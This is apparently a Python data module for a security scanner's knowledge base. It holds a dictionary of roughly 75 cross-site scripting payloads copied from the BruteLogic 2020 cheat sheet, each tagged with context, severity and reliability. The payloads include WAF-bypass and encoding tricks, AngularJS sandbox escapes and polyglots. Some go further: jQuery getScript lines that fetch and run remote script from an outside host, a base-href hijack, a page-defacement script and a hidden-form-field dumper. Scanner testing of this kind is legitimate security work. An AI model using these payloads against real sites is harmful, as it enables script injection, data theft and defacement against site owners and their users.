#!/usr/bin/env python3

"""
Project: BRS-KB
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26

Source: https://github.com/heroanswer/XSS_Cheat_Sheet_2020_Edition
BruteLogic XSS Cheat Sheet 2020 Edition
"""

from ..models import PayloadEntry


BRS_KB_BRUTELOGIC_2020_DATABASE = {
    # ===== URL/LOCATION BASED =====
    "bl2020_url_001": PayloadEntry(
        payload="eval(URL.slice(-8)) #alert(1)",
        contexts=["javascript", "url"],
        tags=["brutelogic", "url", "eval"],
        severity="high",
        cvss_score=7.5,
        description="Eval URL fragment",
        reliability="high",
    ),
    "bl2020_url_002": PayloadEntry(
        payload="eval(location.hash.slice(1)) #alert(1)",
        contexts=["javascript", "url"],
        tags=["brutelogic", "hash", "eval"],
        severity="high",
        cvss_score=7.5,
        description="Eval location hash",
        reliability="high",
    ),
    "bl2020_url_003": PayloadEntry(
        payload="document.write(decodeURI(location.hash)) #<img/src/onerror=alert(1)>",
        contexts=["javascript", "url"],
        tags=["brutelogic", "hash", "document.write"],
        severity="high",
        cvss_score=7.5,
        description="Document.write hash payload",
        reliability="high",
    ),
    "bl2020_url_004": PayloadEntry(
        payload='<svg id=eval onload=top[id](" \' "+URL)>',
        contexts=["html_content", "svg"],
        tags=["brutelogic", "url", "svg"],
        severity="high",
        cvss_score=7.5,
        description="SVG eval via URL",
        reliability="medium",
    ),
    "bl2020_url_005": PayloadEntry(
        payload='<svg onload=eval(" \' "+URL)>',
        contexts=["html_content", "svg"],
        tags=["brutelogic", "url", "svg"],
        severity="high",
        cvss_score=7.5,
        description="SVG onload eval URL",
        reliability="medium",
    ),
    "bl2020_url_006": PayloadEntry(
        payload="${alert(1)}<svg onload=eval('`//'+URL)>",
        contexts=["html_content", "template"],
        tags=["brutelogic", "url", "template"],
        severity="high",
        cvss_score=7.5,
        description="Template literal URL eval",
        reliability="medium",
    ),
    # ===== NUMERIC OBFUSCATION =====
    "bl2020_num_001": PayloadEntry(
        payload="top[8680439..toString(30)](1)",
        contexts=["javascript"],
        tags=["brutelogic", "obfuscation", "number"],
        severity="high",
        cvss_score=7.5,
        description="Number to string alert",
        reliability="high",
    ),
    # ===== FUNCTION REFERENCE TRICKS =====
    "bl2020_func_001": PayloadEntry(
        payload="[1].find(alert)",
        contexts=["javascript"],
        tags=["brutelogic", "array", "find"],
        severity="high",
        cvss_score=7.5,
        description="Array.find callback",
        reliability="high",
    ),
    "bl2020_func_002": PayloadEntry(
        payload="a=alert,a(1)",
        contexts=["javascript"],
        tags=["brutelogic", "assignment"],
        severity="high",
        cvss_score=7.5,
        description="Alert assignment",
        reliability="high",
    ),
    "bl2020_func_003": PayloadEntry(
        payload="(alert)(1)",
        contexts=["javascript"],
        tags=["brutelogic", "parentheses"],
        severity="high",
        cvss_score=7.5,
        description="Parenthesized alert",
        reliability="high",
    ),
    "bl2020_func_004": PayloadEntry(
        payload="top[/al/.source+/ert/.source](1)",
        contexts=["javascript"],
        tags=["brutelogic", "regex", "obfuscation"],
        severity="high",
        cvss_score=7.5,
        description="Regex source concat",
        reliability="high",
    ),
    # ===== WRITE TRICKS =====
    "bl2020_write_001": PayloadEntry(
        payload="write`XSSed!`",
        contexts=["javascript"],
        tags=["brutelogic", "write", "template"],
        severity="high",
        cvss_score=7.5,
        description="Tagged template write",
        reliability="high",
    ),
    "bl2020_write_002": PayloadEntry(
        payload="write`<img/src/o&#78error=alert&lpar;1)&gt;`",
        contexts=["javascript"],
        tags=["brutelogic", "write", "entity"],
        severity="high",
        cvss_score=7.5,
        description="Write with entities",
        reliability="medium",
    ),
    "bl2020_write_003": PayloadEntry(
        payload="write('\\74img/src/o\\156error\\75alert\\501\\51\\76')",
        contexts=["javascript"],
        tags=["brutelogic", "write", "octal"],
        severity="high",
        cvss_score=7.5,
        description="Write with octal escape",
        reliability="medium",
    ),
    # ===== FIREFOX SPECIFIC EVENTS =====
    "bl2020_ff_001": PayloadEntry(
        payload="<x onafterscriptexecute=alert(1)><script>1</script>",
        contexts=["html_content"],
        tags=["brutelogic", "firefox", "event"],
        severity="high",
        cvss_score=7.5,
        description="Firefox onafterscriptexecute",
        reliability="medium",
    ),
    "bl2020_ff_002": PayloadEntry(
        payload="<x onbeforescriptexecute=alert(1)><script>1</script>",
        contexts=["html_content"],
        tags=["brutelogic", "firefox", "event"],
        severity="high",
        cvss_score=7.5,
        description="Firefox onbeforescriptexecute",
        reliability="medium",
    ),
    # ===== MOBILE EVENTS =====
    "bl2020_mobile_001": PayloadEntry(
        payload="<body onorientationchange=alert(1)>",
        contexts=["html_content"],
        tags=["brutelogic", "mobile", "orientation"],
        severity="high",
        cvss_score=7.5,
        description="Mobile orientation change",
        reliability="medium",
    ),
    "bl2020_mobile_002": PayloadEntry(
        payload="<html ontouchstart=alert(1)>",
        contexts=["html_content"],
        tags=["brutelogic", "mobile", "touch"],
        severity="high",
        cvss_score=7.5,
        description="Mobile touchstart",
        reliability="high",
    ),
    "bl2020_mobile_003": PayloadEntry(
        payload="<html ontouchend=alert(1)>",
        contexts=["html_content"],
        tags=["brutelogic", "mobile", "touch"],
        severity="high",
        cvss_score=7.5,
        description="Mobile touchend",
        reliability="high",
    ),
    "bl2020_mobile_004": PayloadEntry(
        payload="<html ontouchmove=alert(1)>",
        contexts=["html_content"],
        tags=["brutelogic", "mobile", "touch"],
        severity="high",
        cvss_score=7.5,
        description="Mobile touchmove",
        reliability="high",
    ),
    # ===== BODY EVENTS =====
    "bl2020_body_001": PayloadEntry(
        payload="<body onhelp=alert(1)>press F1!",
        contexts=["html_content"],
        tags=["brutelogic", "body", "help"],
        severity="high",
        cvss_score=7.5,
        description="Body onhelp (IE/Edge)",
        reliability="low",
    ),
    "bl2020_body_002": PayloadEntry(
        payload="<body onhashchange=alert(1)><meta content=URL;%23 http-equiv=refresh>",
        contexts=["html_content"],
        tags=["brutelogic", "body", "hashchange"],
        severity="high",
        cvss_score=7.5,
        description="Hashchange via meta refresh",
        reliability="high",
    ),
    "bl2020_body_003": PayloadEntry(
        payload="<body onscroll=alert(1) style=overflow:auto;height:1000px id=x>#x",
        contexts=["html_content"],
        tags=["brutelogic", "body", "scroll"],
        severity="high",
        cvss_score=7.5,
        description="Body scroll via anchor",
        reliability="high",
    ),
    "bl2020_body_004": PayloadEntry(
        payload="<body onresize=alert(1)>press F12!",
        contexts=["html_content"],
        tags=["brutelogic", "body", "resize"],
        severity="high",
        cvss_score=7.5,
        description="Body resize via DevTools",
        reliability="medium",
    ),
    # ===== SVG SET/ANIMATE =====
    "bl2020_svg_001": PayloadEntry(
        payload="<svg><set onbegin=alert(1)>",
        contexts=["html_content", "svg"],
        tags=["brutelogic", "svg", "set"],
        severity="high",
        cvss_score=7.5,
        description="SVG set onbegin",
        reliability="high",
    ),
    "bl2020_svg_002": PayloadEntry(
        payload="<svg><set end=1 onend=alert(1)>",
        contexts=["html_content", "svg"],
        tags=["brutelogic", "svg", "set"],
        severity="high",
        cvss_score=7.5,
        description="SVG set onend",
        reliability="medium",
    ),
    "bl2020_svg_003": PayloadEntry(
        payload="<svg><a><rect width=99% height=99% /><animate attributeName=href to=javascript:alert(1)>",
        contexts=["html_content", "svg"],
        tags=["brutelogic", "svg", "animate"],
        severity="high",
        cvss_score=7.5,
        description="SVG animate href",
        reliability="medium",
    ),
    "bl2020_svg_004": PayloadEntry(
        payload="<svg><a><rect width=99% height=99% /><animate attributeName=href values=javascript:alert(1)>",
        contexts=["html_content", "svg"],
        tags=["brutelogic", "svg", "animate"],
        severity="high",
        cvss_score=7.5,
        description="SVG animate values",
        reliability="medium",
    ),
    # ===== SSI INJECTION =====
    "bl2020_ssi_001": PayloadEntry(
        payload='<<!--%23set var="x" value="svg onload=alert(1)"--><!--%23echo var="x"-->>',
        contexts=["html_content"],
        tags=["brutelogic", "ssi", "injection"],
        severity="critical",
        cvss_score=9.0,
        description="SSI to XSS",
        reliability="low",
    ),
    # ===== ANGULAR BYPASSES =====
    "bl2020_ng_001": PayloadEntry(
        payload="{{$new.constructor('alert(1)')()}}",
        contexts=["template", "angular"],
        tags=["brutelogic", "angular", "sandbox"],
        severity="critical",
        cvss_score=9.0,
        description="Angular sandbox escape $new",
        reliability="high",
    ),
    "bl2020_ng_002": PayloadEntry(
        payload="<x ng-app>{{$new.constructor('alert(1)')()}}",
        contexts=["html_content", "angular"],
        tags=["brutelogic", "angular", "ng-app"],
        severity="critical",
        cvss_score=9.0,
        description="Angular ng-app XSS",
        reliability="high",
    ),
    "bl2020_ng_003": PayloadEntry(
        payload="<x ng-init=a='alert(1)'>{{$new.constructor(a)()}}",
        contexts=["html_content", "angular"],
        tags=["brutelogic", "angular", "ng-init"],
        severity="critical",
        cvss_score=9.0,
        description="Angular ng-init XSS",
        reliability="high",
    ),
    "bl2020_ng_004": PayloadEntry(
        payload="{{$new.constructor&#40'alert\\u00281\\u0029'&#41&#40&#41}}",
        contexts=["template", "angular"],
        tags=["brutelogic", "angular", "entity"],
        severity="critical",
        cvss_score=9.0,
        description="Angular entity encoded",
        reliability="medium",
    ),
    # ===== OPEN/TOP TRICKS =====
    "bl2020_open_001": PayloadEntry(
        payload="top.open`javas\\cript:al\\ert\\x281\\x29`",
        contexts=["javascript"],
        tags=["brutelogic", "open", "escape"],
        severity="high",
        cvss_score=7.5,
        description="Top.open with escapes",
        reliability="medium",
    ),
    "bl2020_open_002": PayloadEntry(
        payload="top.open`javas\\cript:al\\ert\\x281\\x29${0}0`",
        contexts=["javascript"],
        tags=["brutelogic", "open", "template"],
        severity="high",
        cvss_score=7.5,
        description="Top.open template literal",
        reliability="medium",
    ),
    # ===== NOTIFICATION API =====
    "bl2020_notif_001": PayloadEntry(
        payload="Notification.requestPermission(x=>{new(Notification)(1)})",
        contexts=["javascript"],
        tags=["brutelogic", "notification"],
        severity="medium",
        cvss_score=5.0,
        description="Notification API abuse",
        reliability="medium",
    ),
    "bl2020_notif_002": PayloadEntry(
        payload="new(Notification)(1)",
        contexts=["javascript"],
        tags=["brutelogic", "notification"],
        severity="medium",
        cvss_score=5.0,
        description="Simple Notification",
        reliability="medium",
    ),
    # ===== ONERROR THROW =====
    "bl2020_throw_001": PayloadEntry(
        payload="';onerror=alert;throw 1//",
        contexts=["javascript", "js_string"],
        tags=["brutelogic", "throw", "onerror"],
        severity="high",
        cvss_score=7.5,
        description="Throw onerror technique",
        reliability="high",
    ),
    # ===== POINTER EVENTS =====
    "bl2020_pointer_001": PayloadEntry(
        payload='"onpointerover=alert(1) //',
        contexts=["html_attribute"],
        tags=["brutelogic", "pointer"],
        severity="high",
        cvss_score=7.5,
        description="Pointer over event",
        reliability="high",
    ),
    "bl2020_pointer_002": PayloadEntry(
        payload='"autofocus onfocusin=alert(1) //',
        contexts=["html_attribute"],
        tags=["brutelogic", "focusin"],
        severity="high",
        cvss_score=7.5,
        description="Focusin with autofocus",
        reliability="high",
    ),
    # ===== TAG SPLITTING =====
    "bl2020_split_001": PayloadEntry(
        payload='"o<x>nmouseover=alert<x>(1)//',
        contexts=["html_attribute"],
        tags=["brutelogic", "split", "waf_bypass"],
        severity="high",
        cvss_score=7.5,
        description="Tag split bypass",
        reliability="medium",
    ),
    "bl2020_split_002": PayloadEntry(
        payload='"autof<x>ocus o<x>nfocus=alert<x>(1)//',
        contexts=["html_attribute"],
        tags=["brutelogic", "split", "waf_bypass"],
        severity="high",
        cvss_score=7.5,
        description="Autofocus split bypass",
        reliability="medium",
    ),
    # ===== SCRIPT POLYGLOTS =====
    "bl2020_poly_001": PayloadEntry(
        payload="GIF89a=//<script>\nalert(1)//</script>;",
        contexts=["html_content"],
        tags=["brutelogic", "polyglot", "gif"],
        severity="high",
        cvss_score=7.5,
        description="GIF/JS polyglot",
        reliability="medium",
    ),
    # ===== COMMENT BREAK =====
    "bl2020_comment_001": PayloadEntry(
        payload="<!--><svg onload=alert(1)-->",
        contexts=["html_content", "html_comment"],
        tags=["brutelogic", "comment"],
        severity="high",
        cvss_score=7.5,
        description="Malformed comment break",
        reliability="medium",
    ),
    # ===== TRANSITION EVENTS =====
    "bl2020_transition_001": PayloadEntry(
        payload="<x ontransitionrun=alert(1)><style>*{transition:color 1s}*:hover{color:red}",
        contexts=["html_content"],
        tags=["brutelogic", "transition"],
        severity="high",
        cvss_score=7.5,
        description="Transition run event",
        reliability="medium",
    ),
    "bl2020_transition_002": PayloadEntry(
        payload="<x ontransitionstart=alert(1)><style>*{transition:color 1s}*:hover{color:red}",
        contexts=["html_content"],
        tags=["brutelogic", "transition"],
        severity="high",
        cvss_score=7.5,
        description="Transition start event",
        reliability="medium",
    ),
    "bl2020_transition_003": PayloadEntry(
        payload="<x ontransitioncancel=alert(1)><style>*{transition:color 1s}*:hover{color:red}",
        contexts=["html_content"],
        tags=["brutelogic", "transition"],
        severity="high",
        cvss_score=7.5,
        description="Transition cancel event",
        reliability="low",
    ),
    "bl2020_transition_004": PayloadEntry(
        payload="<x onwebkitanimationend=alert(1)><style>x{animation:s}@keyframes s{}",
        contexts=["html_content"],
        tags=["brutelogic", "webkit", "animation"],
        severity="high",
        cvss_score=7.5,
        description="Webkit animation end",
        reliability="medium",
    ),
    "bl2020_transition_005": PayloadEntry(
        payload="<x onwebkitanimationstart=alert(1)><style>x{animation:s}@keyframes s{}",
        contexts=["html_content"],
        tags=["brutelogic", "webkit", "animation"],
        severity="high",
        cvss_score=7.5,
        description="Webkit animation start",
        reliability="medium",
    ),
    # ===== DOUBLE ENCODING =====
    "bl2020_enc_001": PayloadEntry(
        payload="%253Csvg%2520o%256Eload%253Dalert%25281%2529%253E",
        contexts=["url"],
        tags=["brutelogic", "double_encoding"],
        severity="high",
        cvss_score=7.5,
        description="Double URL encoded SVG",
        reliability="medium",
    ),
    "bl2020_enc_002": PayloadEntry(
        payload="%2522%253E%253Csvg%2520o%256Eload%253Dalert%25281%2529%253E",
        contexts=["url"],
        tags=["brutelogic", "double_encoding"],
        severity="high",
        cvss_score=7.5,
        description="Double encoded breakout",
        reliability="medium",
    ),
    # ===== OCTAL ESCAPES =====
    "bl2020_octal_001": PayloadEntry(
        payload="[]['\\146\\151\\154\\164\\145\\162']['\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162']('\\141\\154\\145\\162\\164\\50\\61\\51')()",
        contexts=["javascript"],
        tags=["brutelogic", "octal", "obfuscation"],
        severity="high",
        cvss_score=7.5,
        description="Full octal obfuscation",
        reliability="high",
    ),
    # ===== ENTITY TRICKS =====
    "bl2020_entity_001": PayloadEntry(
        payload="<svg onload=alert&lpar;1&rpar;>",
        contexts=["html_content", "svg"],
        tags=["brutelogic", "entity"],
        severity="high",
        cvss_score=7.5,
        description="Named entity parens",
        reliability="high",
    ),
    "bl2020_entity_002": PayloadEntry(
        payload="<svg onload=alert&#40;1&#41>",
        contexts=["html_content", "svg"],
        tags=["brutelogic", "entity"],
        severity="high",
        cvss_score=7.5,
        description="Decimal entity parens",
        reliability="high",
    ),
    "bl2020_entity_003": PayloadEntry(
        payload="<SVG ONLOAD=&#97&#108&#101&#114&#116(1)>",
        contexts=["html_content", "svg"],
        tags=["brutelogic", "entity", "uppercase"],
        severity="high",
        cvss_score=7.5,
        description="Entity encoded handler",
        reliability="high",
    ),
    # ===== SCROLL TRIGGER =====
    "bl2020_scroll_001": PayloadEntry(
        payload="<p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y",
        contexts=["html_content"],
        tags=["brutelogic", "scroll", "overflow"],
        severity="high",
        cvss_score=7.5,
        description="Scroll via overflow",
        reliability="high",
    ),
    # ===== AUDIO/VIDEO =====
    "bl2020_media_001": PayloadEntry(
        payload="<audio src onloadstart=alert(1)>",
        contexts=["html_content"],
        tags=["brutelogic", "audio"],
        severity="high",
        cvss_score=7.5,
        description="Audio loadstart",
        reliability="high",
    ),
    "bl2020_media_002": PayloadEntry(
        payload="<video onloadstart=alert(1)><source>",
        contexts=["html_content"],
        tags=["brutelogic", "video"],
        severity="high",
        cvss_score=7.5,
        description="Video loadstart",
        reliability="high",
    ),
    "bl2020_media_003": PayloadEntry(
        payload="<video ontimeupdate=alert(1) controls src=//brutelogic.com.br/x.mp4>",
        contexts=["html_content"],
        tags=["brutelogic", "video"],
        severity="high",
        cvss_score=7.5,
        description="Video timeupdate",
        reliability="medium",
    ),
    # ===== INNERHTML CLOBBER =====
    "bl2020_clobber_001": PayloadEntry(
        payload="documentElement.innerHTML='<h1>Not Found</h1>'",
        contexts=["javascript"],
        tags=["brutelogic", "innerHTML", "defacement"],
        severity="high",
        cvss_score=7.5,
        description="Document defacement",
        reliability="high",
    ),
    # ===== BASE HREF =====
    "bl2020_base_001": PayloadEntry(
        payload="<base href=//knoxss.me>",
        contexts=["html_content"],
        tags=["brutelogic", "base", "hijack"],
        severity="high",
        cvss_score=7.5,
        description="Base href hijack",
        reliability="high",
    ),
    # ===== LINK STYLESHEET =====
    "bl2020_link_001": PayloadEntry(
        payload="<link rel=stylesheet href=//HOST/FILE>",
        contexts=["html_content"],
        tags=["brutelogic", "link", "css"],
        severity="medium",
        cvss_score=6.0,
        description="External stylesheet",
        reliability="high",
    ),
    "bl2020_link_002": PayloadEntry(
        payload="<link rel=stylesheet href=data:text/css,CSS>",
        contexts=["html_content"],
        tags=["brutelogic", "link", "data"],
        severity="medium",
        cvss_score=6.0,
        description="Data URI stylesheet",
        reliability="high",
    ),
    # ===== JAVASCRIPT LOCATION TRICKS =====
    "bl2020_loc_001": PayloadEntry(
        payload="<j/onmouseover=location=innerHTML>javascript:alert(1)//",
        contexts=["html_content"],
        tags=["brutelogic", "location", "innerHTML"],
        severity="high",
        cvss_score=7.5,
        description="Location via innerHTML",
        reliability="high",
    ),
    "bl2020_loc_002": PayloadEntry(
        payload="<iframe id=t:alert(1) name=javascrip onload=location=name+id>",
        contexts=["html_content"],
        tags=["brutelogic", "location", "iframe"],
        severity="high",
        cvss_score=7.5,
        description="Location via name+id",
        reliability="high",
    ),
    # ===== SVG ID INJECTION =====
    "bl2020_svgid_001": PayloadEntry(
        payload="<svg id=<img/src/onerror&#61alert(1)&gt; onload=head.innerHTML=id>",
        contexts=["html_content", "svg"],
        tags=["brutelogic", "svg", "innerHTML"],
        severity="high",
        cvss_score=7.5,
        description="SVG id injection",
        reliability="medium",
    ),
    "bl2020_svgid_002": PayloadEntry(
        payload="<svg id=<img/src/onerror&#61alert(1)&gt; onload=body.outerHTML=id>",
        contexts=["html_content", "svg"],
        tags=["brutelogic", "svg", "outerHTML"],
        severity="high",
        cvss_score=7.5,
        description="SVG outerHTML injection",
        reliability="medium",
    ),
    # ===== JQUERY GETSCRIPT =====
    "bl2020_jq_001": PayloadEntry(
        payload="onload=function(){$.getScript('//brutelogic.com.br/2.js')}",
        contexts=["html_attribute"],
        tags=["brutelogic", "jquery", "getScript"],
        severity="high",
        cvss_score=7.5,
        description="jQuery getScript onload",
        reliability="high",
    ),
    "bl2020_jq_002": PayloadEntry(
        payload="onload=x=>$.getScript('//brutelogic.com.br/2.js')",
        contexts=["html_attribute"],
        tags=["brutelogic", "jquery", "arrow"],
        severity="high",
        cvss_score=7.5,
        description="jQuery getScript arrow",
        reliability="high",
    ),
    # ===== SHAKE EFFECT =====
    "bl2020_shake_001": PayloadEntry(
        payload="setInterval(x=>{b=document.body.style,b.marginTop=(b.marginTop=='4px')?'-4px':'4px';},5)",
        contexts=["javascript"],
        tags=["brutelogic", "effect", "shake"],
        severity="low",
        cvss_score=3.0,
        description="Page shake effect",
        reliability="high",
    ),
    # ===== HIDDEN FORM FIELDS =====
    "bl2020_hidden_001": PayloadEntry(
        payload="f=document.forms;for(i=0;i<f.length;i++){e=f[i].elements;for(n in e){if(e[n].type=='hidden'){alert(e[n].name+': '+e[n].value)}}}",
        contexts=["javascript"],
        tags=["brutelogic", "form", "hidden"],
        severity="medium",
        cvss_score=5.0,
        description="Dump hidden fields",
        reliability="high",
    ),
    # ===== UNIVERSAL POLYGLOT =====
    "bl2020_universal_001": PayloadEntry(
        payload="</Script/\"'--><Body /Autofocus /OnFocus = confirm`1` <!-->",
        contexts=["html_content", "javascript", "html_attribute"],
        tags=["brutelogic", "polyglot", "universal"],
        severity="high",
        cvss_score=7.5,
        description="Universal XSS polyglot",
        reliability="high",
    ),
}

BRS_KB_BRUTELOGIC_2020_TOTAL = len(BRS_KB_BRUTELOGIC_2020_DATABASE)
